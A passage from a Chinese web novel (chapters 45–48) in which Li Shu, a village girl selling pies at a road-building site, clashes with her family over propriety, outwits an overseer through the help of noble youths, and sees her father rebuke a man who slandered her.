他敛声咽了咽口水，气势顿时弱了下来，最后只敢色厉内荏地说了句：“休息时间，不许再闹。”便头也不回地走回了棚子，直到走远，才隐约传来骂骂咧咧地声音。
张蒙冷哼一声，也没管那蹦跶地跳脚虾，只继续帮着分绿豆水。
人群中顿时又热闹了起来，甚至比方才还热闹。
虽说只是一场无声的对抗，可是他们赢了，这便是值得开怀之事。
李姝安心地站在爹娘身后，伸手揽着小飞的脑袋在安慰，这次，似乎不用她撸起袖子冲上去了。
45. 第 45 章
当晚，李家饭桌上罕见地无人动筷。
李挺一脸茫然地左看右看，爹和娘都拧着眉一脸严肃，这是怎么了？
他挑眉看向现场唯一可能闯祸的人，眼神示意：你做什么了？
刚放下最后一道菜的人微扯嘴角，眼神上下躲闪，闭嘴不语。
张翠花率先开了口，“姝儿，今日为何要与王涛独处？”
王涛？还没等李姝说话，本在一旁疑惑的李挺先炸了，“独处？姝儿，你莫不是真的对那傻小子有了情谊？”
齐刷刷地眼神顿时朝向李姝，个个眼里都是强烈的反对情绪。
李姝下意识绷着肩膀缩了缩脖子，反应这么大？
上回她盯着那个接骨大夫出神时她娘还开明地问自己是否喜欢呢，怎么这回情绪这么激烈？
她有些心虚地龇着牙，眼神闪烁不定，桌下的手单指敲着大腿快速思考，要不要说实话？
最终，她收起嘴角深吸了口气，轻声答道：“没有，我找他只是因为想和他说清楚，免得他日后还觉着有希望。”
随着她这话一出，桌上的其他三人皆松了一口气。
只是她如此擅作主张，还是让家人露出不满，张翠花嘴角下垂，眉间冷肃，语气是从未见过的严厉，“这事自有我和你爹出面，哪里需要你单独和他分说？”
李姝抬头看着她娘笑得有些无辜，张翠花没理，话语中并未放过李姝，“况且本就是没有戳破窗户纸的事，你一个女子大咧咧地便上赶着去拒绝，不知道的还以为咱们家是那眼睛长在头顶上的粗鄙人家，一点规矩都不懂。”
李姝沉默不语，一时间她突然有些难受，不知道是该同意她娘的话，还是该按照自己原本的性格我行我素。
留在这里的代价，便是要永远生活在这个时代对女子的规束中吗？
这只是一件很小的事情，爹娘恐怕本意也只是觉得她不应这般丝毫不顾忌规矩，毕竟当时张蒙也在。
可以后呢？以后她定是会有很多行为与这时代格格不入，她那时又该怎么办？
彻底改变自己，学着所谓的规矩生活？或是当面一套背后一套，只在家人面前装乖？又或者，不管不顾我行我素？
李姝抬眸，视线有些茫然地滑过左右，眼前的人都是对自己十分疼宠的家人，可她不知道应该怎么开口。
她想说自己只是单纯说了几句话，并无任何逾矩。
想说女子不应这般被规矩束缚，她不过就是正常与人交谈，不必避着人。
她想说在这本就注定了男尊女卑的时代里，女子不应再将自己裹进世俗的条条框框中自缚。
可这些话，注定了只能埋在心底。
李姝的沉默让在场的三人顿时慌了神，张翠花有些后悔自己方才太过严厉了，其实从前家里人并没有对李姝说过重话，从前的李姝也不会犯这些“错误”。
她给李忠使了使眼色，李忠早就想开口了，如今见女儿这惶然无措的娇弱模样，他顿时有些心疼地打了圆场：“姝儿，你娘也是为了你好，并非真的责怪你。”
这话终于让李姝回神，眼前三人面上都显露出了一样的担忧神色，真挚又温暖，她眼圈微微一红，紧绷的心绪终于暂时松了下来，无论如何，这不是她娘的错。
她调整呼吸重新展颜，“我知道，娘，我没有怪你，就是方才一时想事入了神。”
李忠和张翠花这时才放下了心，方才他们生怕女儿因着这事掉珍珠，也怕女儿一时想不开而埋怨他们。
王涛虽说人不错，可他确实和自家女儿门不当户不对。
李忠先前已经打听过，王涛是独子，父亲早已去世，家中只有母亲一人。
他们这一拨人都是从前战乱时从别地迁过来的，一直以帮闲为生，王涛家因着一家之主死得早，家里并未给他攒下家业。
这样的人家若是女儿嫁过去，怕是要吃许多苦，李忠和张翠花是说什么都不会愿意的。
也幸好自家女儿确实对王涛并无情愫，不然怕是免不了上演一场棒打鸳鸯的戏。
张翠花此时已恢复平日的神态，她夹了块肉放进女儿的碗中，笑得有些小心，“姝儿，快吃饭。”
李姝照着一样的套路给她娘也夹了块肉，声音有些娇憨，“娘，你也吃，吃了女儿夹的肉，下回可不能骂我了。”
这话惹得李忠和张翠花都忍俊不禁地笑了，终于，这件事在表面上已彻底揭过，一家人都恢复了平日里的热闹。
只有李挺俊眉微蹙地看着自家妹妹，眼底滑过一抹不易察觉的了然，他知道，妹妹并未释怀。
饭后，书房。
李挺拿着书看得有些漫不经心，手指在书页上无意识地滑过，他的注意力并不在书上，视线时不时地从书上移开，斜瞥着右侧那认真练字的身影。
见李姝正好练完一张大字，放下了笔，他顿时合上那半晌都未翻页的书，趁机出声道：“姝儿。”
李姝扭头，眼露疑惑。
李挺凝眸看着眼前比平日沉默了许多的妹妹，特意放缓了语气问道：“今晚娘说的话，你是怎么想的？”
声音低沉温和，李姝微微展眸，她哥的眼神中带着一丝担忧，这是怕自己钻牛角尖想不开吗？
她没说话，只是敛眉沉默，可能是因为李挺的成熟让她不自觉地把他当成了同龄人。
她不想像晚上对着爹娘那般，为了迎合而说违心的话，可也不愿将心底的话说出来让他担心，只好堵在心口，默默消化。
又是这么一个表情，李挺眉头挤成了川字，眼前的妹妹一瞬间敛了身上所有乖巧与天真，垂眸低眉的模样让人看不清她的情绪，只有微抿的唇能漏出一丝让人意外地肃然。
她在想什么？李挺一时间有些看不透眼前的妹妹，她垂眸冷然的模样，竟有些像已去世的祖父。
他有些试探地开口：“你是不是觉得自己并无不妥？因着你只是不想让人误会，所以才干脆地当面说清，免得平白耽误别人的心思？”
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李姝再次抬眸，虽还是未着一语，可眼底流转的思绪证明了她确是这么想的。
李挺心下轻叹，他从前怎么不知道妹妹竟是如此不顾世俗，他有些无奈道：“姝儿，这事自有爹娘替你挡下，你一个适婚女子明目张胆地约见男子，会惹来许多麻烦。”
李挺顿了顿，看着自家妹妹像是听进去了，有些欣慰地接着说：“哥哥不是拦着你与人交往，只是有时别人的误传会轻而易举地压垮一个人，爹和娘以及我，都不想你陷入这种不分青红皂白、只管满足自己龌龊念头的流言中。”
“可是，哥哥，”李姝凝眸对上了自家哥哥的眼神，她定定地直视着李挺，眼眸中的华光甚至盖过了满屋子的烛光，她语气肃然道：“不应是这样的。”
她终于把心底堵上的洞穴透出了一丝缝隙，第一次真正的表达了自己真实的情绪，无论是清芸的事，还是今日的事，都让她觉得不舒服，这些事让她真正感受到了她与这个时代的格格不入。
反正自己的本性已经瞒不住了，李姝有些破罐破摔地接着说：“女子在这男尊女卑的世道中本就不易，
她们已经被规束在了这并不公平的牢笼中，为什么还要要求她们自缚于世俗？
流言可畏，错的不是女子，而是散播流言的人，不应让她们因害怕流言而自画牢笼。”
李挺被震惊了，眼前的妹妹迎着自己的目光沉静又坚定，她就这么端坐在桌前，话说得不疾不徐，却字字珠玑，周身的气度仿若真正的高门贵女，这还是他那天真乖巧的妹妹吗？
“姝儿，这话是你自己想的吗？”这问的是一句废话，可李挺还是下意识问了，他从来不知道，自家妹妹竟有这般剔透心性。
本来以为又要迎来探究的眼神，谁知竟听来这么一句问话，李姝有些意外地眨了眨眼，“哥哥，你只想问这个吗？”
李挺深省后发笑，眼里有骄傲，也有鼓励，“是我这个当哥哥的狭隘了，姝儿，你有这般志向很好，
可是哥哥也得告诉你，不与世俗同流，固然内心清正，
可你要知道，这条路最是难走，往后你定是会遇到许多方才我所说的流言，
届时若你还能这般想，才算是真正的挣脱牢笼。”
他并非不懂李姝说的女子艰难，只是他从前觉得妹妹本就是父母怀中的娇雀，若是让她安稳一生，
最好便是如这世间大多数女子一般教养她，给她找个疼爱她的夫婿，平静快活地过完她的人生。
可却没想到，他的妹妹并不想这般浑浑噩噩，她有自己身为女子的清醒和自强，作为兄长，他很支持，甚至很高兴。
看着眼前透着欣慰与鼓励的哥哥，李姝的诧异不比李挺少，她哥的胸襟足以让他傲立于众多学子，端正却不迂腐，聪敏而不自傲，还能真正地感同他人，果然不是人人都能考上秀才的。
今晚过后，兄妹俩之间似乎有什么东西变了，他们不再是管教与顺从的关系，而是能真正敞开心扉，互诉心事的朋友。
46. 第 46 章
如往常一样，李挺被抓去当了自家吃食摊的“壮丁”。
只是工地的气氛却和平常有些不同。
兄妹俩只是坐了一会儿，平日里远远坐在棚子底下喝茶嗑瓜子的监工便来来回回走了许多趟。
两个监工相对而走，时不时还驻足叉腰，嘴里骂骂咧咧地催促工人干活，两百米的路被他们来回走了四五趟。
被催的工人不敢得罪他，只沉默地弯腰加快速度，平日里还能偶尔说笑几句，如今却是连眉头打绺都不敢伸手擦汗。
“哥，你知道为什么朝廷突然要修路吗？”李姝停下了手中的木棍，抬头轻声问。
此次修的并不是官路，真如他爹说的是朝廷体恤百姓吗？
李挺摇头，“不知。”他转头看了一眼正在破口大骂的监工，拧着眉有些冷意，“布告上只说是圣意。”
皇帝不可能突然关心一个县的交通，肯定是有什么事。
“最近县里有什么不同寻常的动静吗？”
李挺垂眸，眼中是对自家妹妹聪敏的赞叹，“近日，都尉似是带兵外出操练时经过了这里好几次。”
“另外，”李挺微挑嘴角，眼中有些意味不明地暗流，“知县近日抓了一帮贼匪，地点是在后面的下坪村附近，现在那边已经被官府以有匪为由封了山。”
说完，他抬眸特意看了看自家妹妹，发现李姝在敛眉思考，像是听进去了，他心下欣慰，妹妹确是聪慧了不少。
这其中的关节他虽说也不太清楚，可至少能确定，这连接几个村落的山脉中，似是有什么东西是官府在意的。
李姝也想到了，只是如今并不确定，她最开始是害怕会有战事，如今看这朝廷的动作，也不像是战备的模样。
“哥，咱们这...”李姝刚起了个话头，远处突然传来一阵惊呼声。
李姝把在认真练字的小飞揽至身后，转头看见人群中有人在哀嚎，四周的人有些手忙脚乱地在搬什么。
监头站在一旁并未有任何怜悯，反而甩了一鞭子怒斥道：“嚷嚷什么，不许喧哗，该干什么干什么去！”
人群散开，李姝才看清，只见一壮硕的老者正双手抱膝瘫坐在地，口中发出粗粝的哀嚎，旁边立着一块大石，站在大石一旁的壮汉正一脸惊惶。
此时两个监头赶完周边围着的人，只指了三人留在原地：“你，还有你，留下把这石块搬开，你把他背到一边，别在这挡路！”
说完又怒目一横，“背完他马上回来，还没到休息时辰，要是敢偷懒，小心我手中的鞭子！”
李姝心下一惊，拧眉抓向了他哥的手臂，“哥，爹也在。”
那被指定背人的工人，便是李忠。
李挺拦下了要冲过去的妹妹，冷肃道：“在这等着，我去帮爹。”
刚抬脚过去，前路突然响起了哒哒哒地马蹄声，只一会儿，便出现了十几个勒马扬鞭的年轻人。
前面五六人个个都身穿豪服，打头的一个人是个五官秀丽的女子，她穿着棕红色立领长袍男装，腰间还别着一根长鞭。
见了眼前这近百人的修路境况，她利落地拉住缰绳，奔驰中的骏马抬头一声长鸣，顿时止住了奔跑的脚步，身后的人在她的抬手示意下也纷纷勒马。
勒马后她轻扣小腿，马蹄立时悠哉地缓步向前，马上的她微微扬起嘴角，一举一动间干脆利落，透出一股不羁与飒爽。
李姝此时才看清楚，这人是上回那个在街上夺人鞭子的女子，她眸中微动，在人群中寻找，果然在身旁的五人中找到了上回那被碰瓷的男子。
此时一群人浩浩荡荡地骑马走来，路上所有人的动作都停下看着，而那两个监工见状已经迎了上去。
“见过萧小姐、常公子、三少爷、还有二位秦少爷。”
为首的萧青璃没应声，倒是后面的窦子恒出声问道：“这是在做什么？”
“回三少爷，知县大人下令通修村落间的道路，小的们在...”
常青不耐烦打断：“没问你这个。”他抬手指了指那正瘫坐在地的壮汉问道：“他怎么了？”
监头顺着手指转头，又回身弯腰答道：“此人搬动石块时不小心砸了自个的脚，小的正让人扶他到一旁休息。”
身旁的秦大公子嗤笑出声，“原来搬起石头砸自己的脚竟是真的？”
“秦大，不会说话就闭嘴。”萧青璃出声制止了这丢人的玩意，侧腿抬起转身下了马往壮汉走去。
李挺适时侧身，露出了那被围在中间的壮汉，那壮汉此时已在低声呻吟，额间冷汗止不住的流，苍白而干燥的唇正发着抖。
萧青璃低头往他的脚看去，只见草鞋鞋面已断，露出的脚背已浮肿，连尘土都无法掩盖他的青紫，“老伯，您是石头滑手后砸了自个的脚吗？”
壮汉已顾不得出声，只是眼前的这些公子小姐定是非富即贵，他不敢不应，只哆嗦着点头。
萧青璃示意随从过来，吩咐道：“将这老伯送至医馆，费用你出。”侍从点头应是，正要去扶人，萧青璃再次出声，“慢着。”
她盯着地上残留的鞭痕，眉头微敛，眼中带着冷厉，“监头的鞭子甩得可比本小姐好啊？不知是哪里学的，也好让本小姐去观摩学习学习。”
监头吓得早已跪伏，声音有些哆嗦地硬着头皮答：“萧小姐，小的，小的只是按职责催进度，挥鞭子也是意在震慑，并未真的挥至工人身上，望，望小姐明鉴。”
萧青璃转头看向脚伤的壮汉，又看了看周围的工人，知道他们确实并未受拷打，便收敛了周身的气势，有些欠揍地开口：“别紧张，我就是随便问问，没有师傅就算了，本小姐自己学便是。”
她挥手示意侍从扶人，便转身往同伴那走去，身后却突然传来了突兀的说话声。
“劳烦这位小哥给这位老伯喝点水，他怕是渴了许久了。”李挺帮着边扶边说，声音不大，可也够刚走出两步的萧青璃听见了。
萧青璃顿住脚步，方才她一心察看壮汉的情况，并未在意这一群泥汉中为何会出现一个气质端方的读书人，如今凝眸看去，才发现竟是之前有过一面之缘的人。
叫什么来着？她只记得好像是个秀才。
此时这人说完话后便闭嘴不语了，只低头帮着扶人，小而俊秀的脸此时正侧对着萧青璃，长而翘的睫毛下眼眸微垂，让人瞧不出其中神色，微红的唇明明紧抿却还是能看出唇珠翘挺，让他看着更是清秀。
萧青璃心下暗骂了句：小白脸！
他们这些读书人个个看起来都白兮兮又弱不禁风，连把剑都拿不稳，一天到晚只知道动嘴，她实在烦。
只是听了李挺这话，她还是下意识地看了眼壮汉的嘴唇，又转眸不动声色地看看周围的工人，发现确如这小白脸所说，他们缺水。
萧青璃看了李挺一眼，转身走向了自家坐骑，走动间四处逡巡，终于在不远处看到了那几个盖了盖子的水缸。
正想抬脚过去，马上的公子哥等的不耐烦了，常青握了握缰绳制住了不停骚动的马，扬声开口：“阿璃，你做什么呢？别磨蹭了，那小白脸有什么好看的？”
萧青璃翻了个白眼，有时她是真的很想一鞭子把常青的脑浆抽出来，看看到底有多少是脑浆多少是水。
她没理常青的话，只侧头对着窦子恒道：“子恒，你方才不是还说口渴，要抢常青的喝吗？”
窦子恒一脸莫名地挑眉，今日他是匆忙赶来的，并未带侍从，身上自然没带水粮，可他什么时候说过要抢常青的话了？
萧青璃没给他反驳的机会，接着说道：“我记得这修路的布告上说了圣上体恤百姓，不以劳役而是雇用。
虽说雇用以现银结算，官府不像劳役一般包食宿，可水还是能提供的，你不如问问这里的监头是否能给你装一袋子水，免得你等会和常青吵起来，我们可没这么多水给你喝。”
这下连常青也一脸莫名，他顺手拿下腰间水袋，大咧咧地朝一旁伸手，“你要喝水怎地不说，兄弟我就算只剩一口水也能分你半口，拿去！”
窦子恒嘿笑一声，大手一捞便接过，仰头正往口中倒水呢，发现也就只有一口了...
他怎么忘了，这水牛投生的常青哪回不是早早喝完转头就抢自己的？有时渴了连阿璃的水袋子也抢。
他舔了舔唇，将那水袋子倒转晃了晃，无语地朝一旁开口：“
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刚好半口，你什么时候算数这么准了？”
常青挠头，正要示意身后的侍从拿水，他没有，他侍从还背着有呢，凑个半袋子水还是可以的。
可还没等他开口，窦子恒翻身便下了马，朝着那还在跪伏的监头道：“这里可有水？”
监头哪敢拒绝，赶忙点头指向不远处的水缸，“三少爷，那水缸里便装着熟水。”说着便要起身，口中恭敬道：“小的帮您装吧？”
窦子恒拒绝了，只抬脚朝水缸处走。
军中由于萧都尉的影响，武将大都不喜人伺候，就连内宅的妇人也是如此，连带着对自家儿孙们也是这般教养。
常青和萧青璃打小便习惯了自立，窦子恒自从与他们接触后，也渐渐养成了这些习惯。
不过是打个水，顺手的事。
萧青璃目的达成，也没插话，只牵着马往前走，经过李姝时，看到了她正掀开的篓子中露出的馅饼。
她有些好奇地看了一眼，此时李姝正好拿了一个馅饼掰开给小飞，隐隐的香味传来，萧青璃再次停下了脚步。
“这是什么吃食？”
眼前的女子终于抬眸，清冽的眼神突然和萧青璃撞上，可她并未移开视线，而是盯着萧青璃的眼睛答道：“馅饼。”
微挺的唇珠和方才那小白脸一样，只是女子这样貌萧青璃倒是没那么反感，她松了缰绳蹲下，与眼前的女子视线平齐，再次问道：“你在这卖吃食？”
李姝点头，伸手用油纸装了一个馅饼递过去，笑容真挚中带着些淳朴，“吃吗？”
她上回不是还避她如豺狼吗？怎地这回这般热情？
难道...是卖不出去？
萧青璃抬手接过，“谢谢。”学着她方才的模样掰开放入口中，有些意外地挑眉。
还挺好吃。
此时远处窦子恒的声音传来，“这水怎地这么少？”
萧青璃了然地看了眼监头，正想借机发作，身后李姝的声音传来，“这个不好吃吗？”
她茫然回头，身后的女子无辜地眨眼，问得有些小心翼翼。
“挺好吃的。”萧青璃下意识回答，想了想可能是自己方才的凶样吓到她了，又低声说道：“帮我拿二十个包起来吧。”
哪知李姝直接拒绝了，理由是给她拿了饼，其他工人就不够了，停顿了半晌，她有些犹豫地开口：“你若是明日还来，我便专门多做一份给你们。”
说完，她还有意无意地往监头那看了看，眼中有着明显的畏惧。
电光火石间，萧青璃突然明白了她的意思。
有些意外，这女子不但不怕她，还在提醒她不要立时发作，以致殃及无辜。
若是她此时定责，那监头定是知道她是因着方才那小白脸的话才发现的，而她并非日日在此，若他们积怨，怕是会害得这女子和那小白脸被记恨。
她垂眸思考，只要让监头知道，他们这一群人都知道了水不足的事便可以了，作为窦知县的侄子，窦子恒会不会回去提上一嘴，自有他们两人自己琢磨。
而若是明日他们一行人再次经过，发现水还是不够，他们自是会聪明地补足，不过是一点水费，就算日日克扣也不多，不如饭碗重要。
想通了其中关节，她转头对着还在和监头说话的窦子恒喊道：“水不多便别打了。”
又回身对着李姝，声音顿时有些冷淡，“明日我要二十个。”说罢伸手掏了钱递过去，“这是定金。”
李姝收了那一眼假的畏惧神色，恢复了平日的活泼，悄悄对着眼前的人俏皮地眨了眨眼，“不用钱，算是我利用了你的赔礼。”
一句话将萧青璃心底的些许不快“噗嗤”一声发泄出来，方才虽说女子本是善意，可自己像是被当做傻子一般利用，她还是无法有好脸色。
也亏得她平日里大咧的爽快性子，才让她没有当场记仇翻脸。
如今这女子坦率又真诚地道出了事实，明摆着告诉她，我使了手段，这敞亮的性格竟让她有些别样的新鲜感，眼前的人与那些只暗地里使手段的内宅女子很是不同。
她收回了定金，扬起嘴角也眨了眨眼，不客气道：“那便说好了。”
47. 第 47 章
一行人重新策马而去，李姝凝眸沉思，对自己从前的偏见感到些许羞愧。
这群人连扬起的灰尘都控制在无人处，明明是最容易嚣张跋扈的年纪，却偏偏能收敛脾气，张扬而不无礼，颇有一番教养。
“姝儿，你为何要留下那女子？”
李挺有些不解地看着李姝，少见的显露出了在夫子面前才有的求教之心。
李姝抬眼看着那已经收敛许多的监工，有些牛头不对马嘴地说：“哥，你知道今日那水缸少了一个吗？”
李挺转头，远处那棚子旁边围作一堆的水缸有三个，上回他分明瞧见有四个，即使是之前，这水也并不够喝，爹每日还需带一坛子水过来，午时妹妹和娘还得再拿一坛子。
只稍沉思一会，李挺便明白了，“近些日子发生了什么事？”
“昨日我和娘煮了些绿豆水过来，本是想着如今离桃李村近，便给他们送个方便，可昨日那监工嫌我们送水时太吵，过来阻止，与工人们生了些龃龉，昨日怕是心中积了怨，今日才故意磋磨。”
此事是自己想得不够周到，若是昨日先给那两个监工送两碗绿豆水，可能就不会有后面的事。
李挺拧眉，怪不得妹妹想要借助权势，可这事他不太赞同，“姝儿，权势虽说能帮我们解决许多困难，可也容易让我们...”
“我知道。”李姝打断了他哥的话，认真回道：“哥哥，我知道，我不会执着于攀附权贵，今日只是意外。”
其实监工也并非是那种以折磨人为乐的人，只要工人们能忍着磋磨，等他们出了心中的火气后，自然会觉得无趣。
只是李挺没有说出口，他没有资格替别人做决定，自己的妹妹也不行。
他只是如平日一般拿起地上的木棍，继续埋头教千字文，经过昨晚，妹妹在他心中已不再是小孩子，许多事也不需要他插手，他口中只平淡地回：“知道便好。”
......
午后本应是阳光最猛烈之时，可上坪村前的仙人山却因繁茂的密林而渗透着凉意。
“这里真的会有贼匪吗？”
常青拨开一侧的藤枝，脸上显出些不耐烦。
身后的窦子恒打了个哆嗦，闻言怒了，“不是你说这里有贼匪我们才来的吗？说好去城外打猎，非要拉着我们来这冷飕飕的地。”
这话让常青也跟着炸了，停下脚步就转身回怼，“是谁说自己亲眼看到那些被抓回来的贼匪入了牢？”
“那些人是在前头那座山被抓的，又不是在这被抓，若是那贼匪窝真的大到占领两个山头，萧都尉怕是早就带人过来灭了。”一番话虽说有梗着脖子狡辩之嫌，可也算是说的不错。
于是两人回头同时出声，“为什么要来这？”
萧青璃......“你们俩的脑子要是不想要就趁早自己摘了。”说罢也不管两人，抬脚越过他们往前走。
秦大秦二跟上，经过时才在一旁适时补充，“前面有人守着，我们进不去。”
窦子恒这才想起，上回他听见伯父说过要派人守着。
可难道要翻一整座山？他们如今走的完全是没有人迹的草丛，往前走一步得先探十步。
几人手中拨杂草藤枝的速度越来越慢，明明进山时瞧着已经离得不远才弃马的，可如今走了一个时辰也没摸到另一座山的山脚。
常青此时是真不耐烦了，少年人本是一身热血奔着剿匪的目的而来，如今却将热血浪费在了路上。
“不如我们下去吧，等到了入口我们再想个办法摸进去不好吗？”
没人应他，只有窦子恒同意了，山里的凉风已经让窦子恒打了好几个哆嗦，这里所有人就属他最体弱，若不是为了面子硬撑，怕是早就嚷嚷要走。
两人一拍即合，自顾自商量该用什么法子摸进去，萧青璃在听到他们说一人装作贼匪引开守兵时忍不住翻了个白眼，然后淡淡地扔下个炸弹。
“那守兵是我爹麾下的清平军，不是知县底下那连平山县都没出过几回的衙役。”
“清平军？”两人顿时在无人在意的角落里互相认了怂，他们可跑不过清平军，常青转头说了句废话，“阿璃，你怎地不早说？”
萧青璃心里腹诽：早说你们就不来了？
一直没出声的秦二却莫名兴奋了不少，“连清平军都被派来守山，说明那山里确有贼匪！”雀跃的语气不像是去剿匪的，倒像是要奔着匪窝去瞧热闹的。
可俗话说物以类聚人以群分，这帮人不愧是平山县有名的“傻大个”，听到这话全都两眼放光。
从前总是听军中老人吹嘘战场杀敌如何勇猛，他们这帮在安稳世道中出生的少爷小姐从来没见过战场是什么样子。
如今好不容易出了个匪窝，定是要好好立个功回去炫耀炫耀。
就靠着这莫名的热血鸡汤，几人愣是又走了一个时辰。
总算是摸到了隔壁练功山山脚，山脚下的确有清平军在值守，但也只是守在平日村民上山的入口处，其他没有人踏足的杂草丛倒是无人看守，比如此时萧青璃几人所在的位置。
常青利落地找了棵树往上爬，树枝掩映间看到了大致的值守人数，“大约有数十个人，只在山脚下，山上应是没人。”
萧青璃凝眸往下看去，此时他们位置与隔壁的山脚中间隔着一片下凹的洼地，倒是一条天然的屏障，若是要过去...
“这里怕是过不去，要么我们往山上走，绕过这片凹地，要么...”她话音还未落，被兴奋冲昏头脑的几人立马就动身往上爬，不带一点犹豫。
萧青璃......
“等等。”她赶忙制住，从背后泼了一盆冷水，“这凹地太长，万一它直通到山顶我们岂不是要累死。”
杂草掩盖的凹地从山脚往上看，像是一条从天而降的绿道，一眼望不到头。
众人转头看着这仿佛要通天的凹地，理智稍回。
“阿璃姐姐，那还有什么办法？”秦二年纪最小，也最积极，恨不得立马冲到对面山上看看
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贼匪长什么样，也根本没把这凹地放在眼里。
萧青璃目前也没有办法，只皱眉说：“我们先在此处观察观察。”
对面山脚的守军其实防守并不严谨，可能是因为这几日无人敢靠近的原因，让他们逐渐放松了警惕，只在山脚处懒散地闲聊。
“这也太无趣了，阿璃，我们往上走走，没准前头就能过去。”又浪费了半个时辰，让本来热血上头的少年人都不耐了起来。
萧青璃也心里打鼓，本来想碰碰运气看是否能遇到贼匪下山，哪知一下午什么也没看到。
她犹豫半晌，还是妥协了，“走吧，今日太晚，我们先在这附近找个下山的路口，省得明日我们还要从头爬。”
无功而返，秦二这满腔豪情无处安放，有些不甘心道：“不过就是一片洼地，有何可忌惮的，直接趟过去不就行了？”说罢直接拔了剑，转身就往身后走。
刚往前探了两步，却发现这洼地似是深不见底，斜坡十分陡，若是没有绳索，怕是人刚踩上去就要往下滚，秦二不死心拉着藤蔓想往下探，被他哥直接拉了回去。
“行了，你过不去的，听阿璃的。”
本来在一旁跃跃欲试的常青和窦子恒见状也歇了心思，自觉地开始往山脚处找下山的路口，萧青璃早就知道这般情形，此时人已经带着侍从往前走了。
突然对面山脚下传来了陌生人的说话声，几人对视一眼，眼中的兴奋重燃，纷纷仰着脖子往对面瞧。
只见对面山上突然走下四五个清平军中之人，中间还拥着一个道士在说话，那道士手上拿着约手掌大的罗盘在看，似是对着守军在解释什么。
隔得太远，实在听不清，不多久，道士像是说完了话，与方才那几个清平军往下走了，看方向是要回县里。
“那贼匪窝难道是按五行八卦定的？怎地要一个道士去找？”几人一头雾水，只能默契地看向他们之中最聪明的人。
顿时，几人在书院都没能激发的求知欲被这道士激发了出来，眼里都泛着吓人的光。
萧青璃......问问问，一天到晚只知道问，能不能自己动脑筋？
可满肚子的无语无处发泄，萧青璃只能牙口中挤出两个字，“不知。”
常青反倒不满了，“阿璃，你平日里不是最喜欢看闲书了吗？怎地就没看看这五行八卦的书？”
萧青璃仔细回忆了一下，发现自己看过的小说中，只有□□士和尼姑的禁忌之爱能跟道士靠上一点边......
可禁忌之爱能写什么正经事，又不是要通过五行八卦定...定位置。
一不小心想多了，萧青璃悄悄清了清嗓，用声音掩盖了脸上的不自然，怒着嗓子回道：“这劳什子书有什么好看的？你平日里怎地不看？”
一句话堵得几人哑口无言，这破书确实没什么好看的。
那...只能各自找路，明日拿了绳索再来了。
至于明日并非是询假之日，对于这一群人来说，无关痛痒。
48. 第 48 章
正午一到，工人们陆续放下手中活计。
几个工人率先行至李姝身前，“姝丫头，今日我们...”
几人出口吞吐，神色犹豫，敦厚地笑容里夹着些许羞意。
李姝顿时懂了其中话意，给了个放心的笑容，“莫叔，我娘已经在家烧好了水，您只管去便是。”
“哎，好好，多谢！”几人纷纷致谢，因着不知道李家在何处，李姝把自家哥哥跟着支回了家，反正县里她去了许多次，已非常熟悉，白日里也不会有什么危险。
挺没拒绝自家妹妹的主意，家里田地需除草施肥，娘一个人在家怕是做得慢，他转身便带着几人回了家。
不远处王涛迈出去的脚收了回来，只默默退回队伍里排队，眼睛失落地耷拉着，眼角却还时不时悄悄地看着李姝的方向。
身旁的张蒙还未发现自家侄子的异常，依旧咧着嘴傻乐，以为自己快要有侄媳妇了，打定主意过两日找自家嫂子说说，幻想着明年能提亲。
有人主动取水，有人感激，也有人不满。
“昨日就是因为他们李家自作主张送水，才让监工将今日的水量减少。”
李姝抬头，上回那个卖绿豆水的婶子的丈夫正一脸愤懑，见她抬眸，又继续挑衅地说：“你们倒是有个好名声了，可你们往后能日日送吗？别在这假惺惺地送水了，害得我们还要被监工磋磨。”
话说得很是正气，一副替大家着想的模样。
可真正的目的倒不一定这般纯正，但周围人群中却还是有人露出了赞同的表情。
李姝没有出声，还制止了身旁的父亲。
水虽然是他们家送的，确实也是出于好意，可若是仗着这一点好意，便觉着自己施舍了别人，强迫别人感激，那么再大的善举都会失了初衷。
被批判的两人都没开口回应，惹得那人更加不满。
“怎地不敢说话了？怕不是被我戳中了腌臜心思，你们就是想博名声，好让我们这些人买你家的饼吧？或者是想让你女儿在这中间相个男人？”
李忠再也忍不住了，骂他可以，敢骂他女儿就没完，他倏的站起身回骂：“放你娘的狗屁！个老瘪三，你想打什么算盘谁不知道，不就是想让自家婆娘的绿豆水多卖几碗吗？啐！自己的腌臜心思藏都藏不住，回去让你老娘把□□缝了，反正你只用鸟嘴喷粪！”
李姝只来得及张了个嘴，身旁自家亲爹便战斗力十足地骂了个整套，她乖巧地递上了水，双眼亮闪闪地满是鼓励和崇拜。
爹，你骂得脏，还是你来吧。
那人若是像方才那般只说李姝一家博名声卖饼恐怕还不会惹众怒，可他竟为了私欲无端污女子名声。
要知道在大启朝，只有那些烂在阴沟的地痞才会这般，连路边的乞丐都不会如此没品。
一时间所有人都站在了李姝一家这边。
“啐！别人白送水还嫌上了，真是光腚撵驴——脸大不害臊！”
“就是，嫌别人的水就别喝，昨日还舔着脸喝了两大碗，转头便污人女儿的名声，真是猪狗不如！”
“一个还未及笄的女娃的名声都污，真是连大元街的乞儿都不如！”
“......”
本就是一群男子，群情激奋下什么话都能说出来，李姝听了满耳朵的粗话，心里直扣六，别看他们个个瞧着都像是连三字经都没学过的粗汉，可这词汇量加起来怕是比三字经的字还多。
那人一张嘴说不过几十张，只好灰溜溜地闭嘴了，方才还是战斗公鸡，如今便成了缩脖鹌鹑，可他竟是有着比墙还厚的脸皮，被人围着指责却也不躲，还想排队喝免费的水。
负责舀水的莫大唰地抢回了碗，语气嘲讽道：“真是好大的脸，不是说别人不安好心吗？怎地还来喝这免费的水，让开，这水没你的份！”
说不过的那人，只好梗着脖子耍赖，“怎么地，这水难不成是你家的？白给的水不喝白不喝，我就喝，关你鸟事！”说罢竟又一把夺回了碗，弯腰朝着木桶伸手。
李姝早就看准了时机，木桶的水已经剩得不多，她一手将木桶抄了过来，抬头扬起泛着冷意的笑。
“钱叔，我瞧着婶子日日都做了好些绿豆水过来，你们并不缺水，还是不要抢其他叔叔伯伯的水了吧？”
远处那卖绿豆水的婶子正一脸怯意地望着李姝这边，装着绿豆水的木桶还冒着凉气，不用瞧都知道水不少。
这话一出，众人醒悟过来，接着便是一片不满。
“就是，自家有水还过来抢我们的水，让开！别挡道！”
“钱三，滚去你婆娘那喝水去！”
“......”
这回不是他耍赖就能留下的了，因为触及了别人的利益，一些性子冲动的粗汉已经开始动手，一把抢回了碗，还把钱三推了个趔趄。
